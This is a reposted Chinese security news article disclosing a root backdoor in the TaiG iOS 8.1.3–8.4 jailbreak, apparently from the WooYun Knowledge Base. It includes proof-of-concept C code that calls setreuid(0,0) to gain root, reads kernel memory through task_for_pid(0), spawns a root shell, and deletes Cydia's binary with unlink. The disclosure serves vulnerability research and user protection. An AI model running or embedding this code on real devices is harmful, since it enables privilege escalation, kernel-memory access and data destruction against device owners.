首页 资讯 安全 查看内容

太极越狱重大安全后门

2015-7-2 10:57 |来自: WooYun知识库 1884 0

摘要: 太极越狱iOS8.1.3-8.4含有重大安全后门,越狱后导致任意APP可以提权到Root,从而影响用户数据的安全。举例来说获取Root权限后可以完全控制系统文件,甚至进一步安装木马等严重威胁用户安全的恶意软件。0x01 细节具体 ...
关键词: include NSLog 太极 task info backdoor setreuid 任意 nbsp 系统

太极越狱iOS8.1.3-8.4含有重大安全后门,越狱后导致任意APP可以提权到Root,从而影响用户数据的安全。举例来说获取Root权限后可以完全控制系统文件,甚至进一步安装木马等严重威胁用户安全的恶意软件。

0x01 细节

具体分析结果显示太极越狱修改了setreuid这个关键系统API,导致任意APP都可以直接调用setreuid(0,0)获得Root执行权限,从而可以修改任意系统文件、也可以task_for_pid 打开系统内核句柄从而完全控制系统底层。例如通过写入系统目录“/Library/LaunchDaemons” 可以注册系统服务,从而植入木马、病毒、盗号工具威胁用户隐私数据和密码。

漏洞重现演示如下图:

示例一:通过 test_taig_backdoor1 程序读取内核内存

示例二:通过 test_taig_backdoor2 获得root权限shell

test_taig_backdoor 读取任意内核poc代码:

#!c
#include <Foundation/Foundation.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/param.h>
#include <spawn.h>
#include <mach/mach.h>
void dump_kernel_memory(vm_address_t addr)
{
  kern_return_t kret;
  mach_port_t proc_task = 0;
  vm_size_t ret_size = 0;
  vm_size_t i;
  char buffer[128] = {0};
  int ret;
  ret = task_for_pid(mach_task_self(), 0, &proc_task);
  if (ret != 0)
  {
    NSLog(@"[err] get tfp0 fail: %d", ret);
    return;
  }
  NSLog(@"task for pid 0 = %u", proc_task);
    kret = vm_read_overwrite(proc_task,
                addr,
                sizeof(buffer),
                  (vm_address_t)buffer,
                   &ret_size);
  char *info = malloc(4096);
  info[0] = '\0';
  for (i = 0; i < ret_size; i++)
  {
    if (i % 16 == 0) sprintf(info + strlen(info), "\n%p: ", (void *)(addr + i));
    sprintf(info + strlen(info), "0x%02x ", *(uint8_t*)(buffer + i));
  }
  NSLog(@"%s", info);
  free(info);
}
int main (int argc, const char * argv[])
{
  if (argc != 2)
  {
    NSLog(@"%s [kernel_address]", argv[0]);
    return 0;
  }
  NSLog(@"current uid=%d euid=%d", getuid(), geteuid());
  /*
  * taig backdoor test
  */
  setreuid(0,0);
  NSLog(@"now uid=%d euid=%d", getuid(), geteuid());
  vm_address_t addr = strtoul(argv[1], NULL, 16);
  dump_kernel_memory(addr);
  return 0;
}

test_taig_backdoor2提权poc代码:

#!c
void get_root_shell
{
    setreuid(0,0);
    system("/bin/bash -i");
}

在APP中添加下面的代码进行删除文件测试(谨慎执行):

#!c
void testBackdoor()
{
NSLog(@"当前运行进程 uid=%d euid=%d", getuid(), geteuid());
setreuid(0,0);
NSLog(@"后门提权后,当前运行进程 uid=%d euid=%d", getuid(), geteuid());

NSLog(@"删除任意文件演示(该测试会导致Cydia无法运行,请谨慎执行)");
unlink("/Applications/Cydia.app/MobileCydia");
}

太极越狱iOS8.0-8.1.1未能找到机器进行测试,可能也有此重大后门。

声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手
1

鲜花

鸡蛋

刚表态过的朋友 (1 人)

最新评论

返回顶部